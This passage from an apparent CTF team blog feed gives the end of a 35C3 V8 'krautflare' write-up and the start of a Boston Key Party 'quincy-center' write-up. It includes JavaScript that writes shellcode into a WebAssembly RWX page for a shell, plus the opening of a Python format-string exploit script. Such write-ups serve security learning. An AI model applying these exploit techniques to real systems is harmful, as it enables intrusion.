&lt;h2 id=&quot;flag&quot;&gt;Flag!&lt;/h2&gt;

&lt;p&gt;Now that I could see a new approach to getting a shell, I was
re-energized. I started to look for “paths” from known
functions/variables to the RWX page. Fortunately, I found one that
seemed stable, even on the server, and I was able to obtain a pointer
to a function that I could execute.&lt;/p&gt;

&lt;p&gt;At this point, all that remained was to actually add in some shellcode
(taken from
&lt;a href=&quot;http://shell-storm.org/shellcode/files/shellcode-806.php&quot;&gt;shell-storm&lt;/a&gt;),
and I’d have shell.&lt;/p&gt;

&lt;p&gt;The final exploit consisted of initializing wasm, in order to obtain
an &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;rwx_page_addr&lt;/code&gt; and a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;wasm_func&lt;/code&gt; that when run, would execute the
core at the address obtained.&lt;/p&gt;

&lt;div class=&quot;language-js highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;table class=&quot;rouge-table&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;rouge-gutter gl&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
&lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;rouge-code&quot;&gt;&lt;pre&gt;&lt;span class=&quot;kd&quot;&gt;let&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;wasm_buffer&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;ArrayBuffer&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;wasm_simple&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;length&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;kd&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;wasm_buf8&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;Uint8Array&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;wasm_buffer&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kd&quot;&gt;var&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;i&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;i&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;wasm_simple&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;length&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;++&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
	&lt;span class=&quot;nx&quot;&gt;wasm_buf8&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;wasm_simple&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;];&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

&lt;span class=&quot;kd&quot;&gt;let&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;rwx_page_addr&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;kc&quot;&gt;undefined&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;

&lt;span class=&quot;kd&quot;&gt;var&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;wasm_importObject&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
	&lt;span class=&quot;na&quot;&gt;imports&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
	&lt;span class=&quot;na&quot;&gt;imported_func&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;kd&quot;&gt;function&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;arg&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
		&lt;span class=&quot;c1&quot;&gt;// wasm_function -&amp;gt; shared_info -&amp;gt; mapped_pointer -&amp;gt; start_of_rwx_space&lt;/span&gt;
		&lt;span class=&quot;kd&quot;&gt;let&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;a&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;addr_of&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;wasm_func&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
		&lt;span class=&quot;nx&quot;&gt;a&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;n&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
		&lt;span class=&quot;nx&quot;&gt;a&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+=&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x18&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;n&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
		&lt;span class=&quot;nx&quot;&gt;a&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;arb_read&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;a&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
		&lt;span class=&quot;nx&quot;&gt;a&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-=&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x91&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;n&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
		&lt;span class=&quot;nx&quot;&gt;a&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;arb_read&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;a&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
		&lt;span class=&quot;nx&quot;&gt;rwx_page_addr&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;a&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
		&lt;span class=&quot;nx&quot;&gt;console&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;log&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;    + rwx_page_addr = &lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;rwx_page_addr&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;hex&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;());&lt;/span&gt;
		&lt;span class=&quot;nx&quot;&gt;stages_after_wasm&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt;
	&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
	&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;};&lt;/span&gt;

&lt;span class=&quot;k&quot;&gt;async&lt;/span&gt; &lt;span class=&quot;kd&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;wasm_trigger&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
	&lt;span class=&quot;kd&quot;&gt;let&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;result&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;await&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;WebAssembly&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;instantiate&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;wasm_buffer&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;wasm_importObject&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
	&lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;result&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

&lt;span class=&quot;kd&quot;&gt;let&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;wasm_func&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;kc&quot;&gt;undefined&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;

&lt;span class=&quot;nx&quot;&gt;wasm_trigger&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;().&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;then&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;r&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
	&lt;span class=&quot;nx&quot;&gt;f&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;r&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;instance&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;exports&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;exported_func&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
	&lt;span class=&quot;nx&quot;&gt;wasm_func&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;f&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
	&lt;span class=&quot;nx&quot;&gt;f&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;});&lt;/span&gt;
&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Once we had these, it was a simple matter of throwing in, and
executing the shellcode:&lt;/p&gt;

&lt;div class=&quot;language-js highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;table class=&quot;rouge-table&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;rouge-gutter gl&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1
2
3
4
5
6
7
&lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;rouge-code&quot;&gt;&lt;pre&gt;&lt;span class=&quot;kd&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;stages_after_wasm&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
	&lt;span class=&quot;k&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kd&quot;&gt;var&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;i&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;i&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;shellcode&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;length&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;++&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;i&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
		&lt;span class=&quot;kd&quot;&gt;let&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;a&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;rwx_page_addr&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;BigInt&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;8&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;n&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
		&lt;span class=&quot;nx&quot;&gt;arb_write&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;a&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;shellcode&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]);&lt;/span&gt;
	&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
	&lt;span class=&quot;nx&quot;&gt;wasm_func&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;And there we have it, a shell! Since this no longer relied on the
stack, it was a much more &lt;a href=&quot;./exploit.js&quot;&gt;stable exploit&lt;/a&gt;, and I was
able to run it on the server, and obtain the flag:
&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;35C3_this_bug_was_a_minus_zero_day&lt;/code&gt;. Quite a fitting flag, won’t you
say?&lt;/p&gt;

&lt;h2 id=&quot;concluding-remarks&quot;&gt;Concluding Remarks&lt;/h2&gt;

&lt;p&gt;This challenge was &lt;em&gt;super&lt;/em&gt; fun and interesting. I learnt a lot along
the way, even though I was frustrated at times, especially due to the
stack issues at the end. On a discussion with
&lt;a href=&quot;https://twitter.com/_tsuro/&quot;&gt;Stephen&lt;/a&gt; after I had got the flag, he
said that he too had to get around the weird stack issue, but he’d
done it by overwriting &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;free_hook&lt;/code&gt; with &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;system&lt;/code&gt;, and then calling
&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;console.log&lt;/code&gt; with &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;sh&lt;/code&gt;. That definitely was an awesome solution as
well, and one that I will keep in mind for the future.&lt;/p&gt;

&lt;h2 id=&quot;acknowledgements&quot;&gt;Acknowledgements&lt;/h2&gt;

&lt;p&gt;Massive thanks to &lt;a href=&quot;https://twitter.com/riczho&quot;&gt;Ricky&lt;/a&gt; who gave massive
moral support and kept throwing in ideas when I was about to give up,
after I’d been facing those stack issues. Also, mad props to
&lt;a href=&quot;https://twitter.com/_tsuro/&quot;&gt;Stephen&lt;/a&gt; for finding this bug, and
having this as a challenge in 35c3. Thanks to
&lt;a href=&quot;https://twitter.com/zaratec4&quot;&gt;Carolina&lt;/a&gt; for reviewing this writeup
and providing some super helpful suggestions.&lt;/p&gt;

&lt;hr /&gt;

&lt;p&gt;Write-up by f0xtr0t (Jay Bosamiya) [&lt;a href=&quot;https://www.jaybosamiya.com/&quot;&gt;https://www.jaybosamiya.com/&lt;/a&gt;]&lt;/p&gt;
</description>
        <pubDate>Wed, 02 Jan 2019 00:00:00 +0000</pubDate>
        <link>https://pwning.net/pwn/2019/01/02/35c3ctf-2018-krautflare/</link>
        <guid isPermaLink="true">https://pwning.net/pwn/2019/01/02/35c3ctf-2018-krautflare/</guid>
      </item>
    
      <item>
        <title>quincy-center (uspace)</title>
        <description>&lt;p&gt;This is a write-up for &lt;strong&gt;quincy-center&lt;/strong&gt; challenge, which is the first part of 3-chained pwnable challenge from &lt;a href=&quot;https://ctftime.org/event/163&quot;&gt;Boston Key Party CTF&lt;/a&gt; last weekend. &lt;em&gt;You can also read from the &lt;a href=&quot;https://www.bpak.org/blog/2015/03/bkpctf-2015-quincy-center-uspace-write-up/&quot;&gt;origial post&lt;/a&gt;&lt;/em&gt;.&lt;/p&gt;

&lt;p&gt;The binaries were packaged into a &lt;a href=&quot;https://www.bpak.org/blog/wp-content/uploads/2015/03/zenhv-e941cb4585deafcf5a1b86050a3ebe7a.gz&quot; target=&quot;_blank&quot;&gt;tar ball&lt;/a&gt;.&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;The MBTA wrote a cool system. It’s pretty bad though, sometimes the commands work, sometimes they don’t…
Exploit it. (uspace flag) 54.165.91.92 8899&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;The goal is to get “uspace” flag by exploiting the user space process.&lt;/p&gt;

&lt;p&gt;Looking at the output of &lt;span class=&quot;lang:default decode:true  crayon-inline&quot;&gt;file&lt;/span&gt; , these are all x86_64 binaries.&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;file uspace
uspace: ELF 64-bit LSB  executable, x86-64, version 1 &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;SYSV&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;, dynamically linked &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;uses shared libs&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;, &lt;span class=&quot;k&quot;&gt;for &lt;/span&gt;GNU/Linux 2.6.32, BuildID[sha1]&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;98a138f60a8cfd6239de3181ef118776db40c8e6, stripped&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;Opening up in IDA Pro, we see that &lt;span class=&quot;lang:default decode:true  crayon-inline&quot;&gt;sub_401470&lt;/span&gt; has the process loop that prompts “bksh&amp;gt; “ like a shell environment.&lt;/p&gt;

&lt;!--figure tags without plugin: http://stackoverflow.com/questions/19331362/using-an-image-caption-in-markdown-jekyll --&gt;

&lt;figure&gt;
	&lt;a href=&quot;https://www.bpak.org/blog/wp-content/uploads/2015/03/uspace_1.png&quot; data-lightbox=&quot;quincy-center&quot; data-title=&quot;bksh (uspace) command line parser&quot;&gt;
		&lt;img src=&quot;https://www.bpak.org/blog/wp-content/uploads/2015/03/uspace_1.png&quot; alt=&quot;bksh (uspace) command line parser&quot; /&gt;
	&lt;/a&gt;
&lt;figcaption&gt;
    bksh (uspace) command line parser
&lt;/figcaption&gt;
&lt;/figure&gt;

&lt;p&gt;First, we see that there are semaphore locking/unlocking for I/O operations, which don’t seem to be too important at the moment. Then, the code to parse the command follows.&lt;/p&gt;

&lt;p&gt;The general scheme for how the system works will be explained in the next series (kspace), so we will leave out the details of how things are implemented and maintained for now. Understanding the operations (create, list, remove, etc.) abstractly is good enough for exploiting the user space :)&lt;/p&gt;

&lt;p&gt;There are total of 6 commands it understands: &lt;strong&gt;ls&lt;/strong&gt;, &lt;strong&gt;create&lt;/strong&gt;, &lt;strong&gt;rm&lt;/strong&gt;, &lt;strong&gt;cat&lt;/strong&gt;, &lt;strong&gt;sleep&lt;/strong&gt;, and &lt;strong&gt;exit&lt;/strong&gt;.&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;ls — lists files on the system&lt;/li&gt;
  &lt;li&gt;create — creates a new file on the system&lt;/li&gt;
  &lt;li&gt;rm — deletes a file on the system&lt;/li&gt;
  &lt;li&gt;sleep — sleep…&lt;/li&gt;
  &lt;li&gt;exit — exits the shell&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Let’s look at what &lt;strong&gt;create&lt;/strong&gt; does for us.&lt;/p&gt;

&lt;p&gt;The function takes the first argument to the command as a file name, and reads 256 bytes from the user for the content of the file that is being created. The buffer that is being read is large enough, so there’s no overflow here. Then, it “calls” into the kernel “syscall” (via shared memory) with the syscall number 96 and its two arguments (file name &amp;amp; contents buffer). Everything seems normal and sane, so we move on.&lt;/p&gt;

&lt;!--figure tags without plugin: http://stackoverflow.com/questions/19331362/using-an-image-caption-in-markdown-jekyll --&gt;

&lt;figure&gt;
	&lt;a href=&quot;https://www.bpak.org/blog/wp-content/uploads/2015/03/uspace_2.png&quot; data-lightbox=&quot;quincy-center&quot; data-title=&quot;create syscall (from uspace to kspace)&quot;&gt;
		&lt;img src=&quot;https://www.bpak.org/blog/wp-content/uploads/2015/03/uspace_2.png&quot; alt=&quot;create syscall (from uspace to kspace)&quot; /&gt;
	&lt;/a&gt;
&lt;figcaption&gt;
    create syscall (from uspace to kspace)
&lt;/figcaption&gt;
&lt;/figure&gt;

&lt;p&gt;Looking through more functions, we find a vulnerable code in &lt;strong&gt;cat&lt;/strong&gt;, where it uses &lt;span class=&quot;lang:default decode:true  crayon-inline &quot;&gt;sprintf&lt;/span&gt; with the file contents buffer as its format string (aka trivial buffer overflow).&lt;/p&gt;

&lt;!--figure tags without plugin: http://stackoverflow.com/questions/19331362/using-an-image-caption-in-markdown-jekyll --&gt;

&lt;figure&gt;
	&amp;lt;a href=&quot;https://www.bpak.org/blog/wp-content/uploads/2015/03/uspace_3.png&quot; data-lightbox=&quot;quincy-center&quot; data-title=&quot;&quot;cat&quot; operation (open syscall followed by read syscall)&quot;&amp;gt;
		&amp;lt;img src=&quot;https://www.bpak.org/blog/wp-content/uploads/2015/03/uspace_3.png&quot; alt=&quot;&quot;cat&quot; operation (open syscall followed by read syscall)&quot;&amp;gt;
	&amp;lt;/a&amp;gt;
&lt;figcaption&gt;
    &quot;cat&quot; operation (open syscall followed by read syscall)
&lt;/figcaption&gt;
&lt;/figure&gt;

&lt;p&gt;&lt;strong&gt;v12&lt;/strong&gt; is a stack buffer of size 256 bytes, and it’s located &lt;strong&gt;bp-0x118&lt;/strong&gt;. Also, we noticed that the NX was disabled on this binary, so we could easily jump to our buffer (such as one of our arguments for the command). Conveniently, the pointers to our arguments are on the stack, so we can do a simple pop/pop/ret gadget to get an arbitrary code execution!&lt;/p&gt;

&lt;p class=&quot;filename&quot;&gt;pwn_uspace.py&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-python&quot; data-lang=&quot;python&quot;&gt;&lt;table class=&quot;rouge-table&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;gutter gl&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
&lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;code&quot;&gt;&lt;pre&gt;&lt;span class=&quot;c1&quot;&gt;#!/usr/bin/python
&lt;/span&gt;&lt;span class=&quot;kn&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;struct&lt;/span&gt;

&lt;span class=&quot;k&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;p&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;v&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;):&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;struct&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;pack&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;'&amp;lt;Q'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;v&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;

&lt;span class=&quot;k&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;u&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;v&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;):&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;struct&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;unpack&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;'&amp;lt;Q'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;v&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;

&lt;span class=&quot;n&quot;&gt;f&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;open&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;'payload'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;'wb'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;

&lt;span class=&quot;n&quot;&gt;pop_pop_ret&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x40110F&lt;/span&gt;

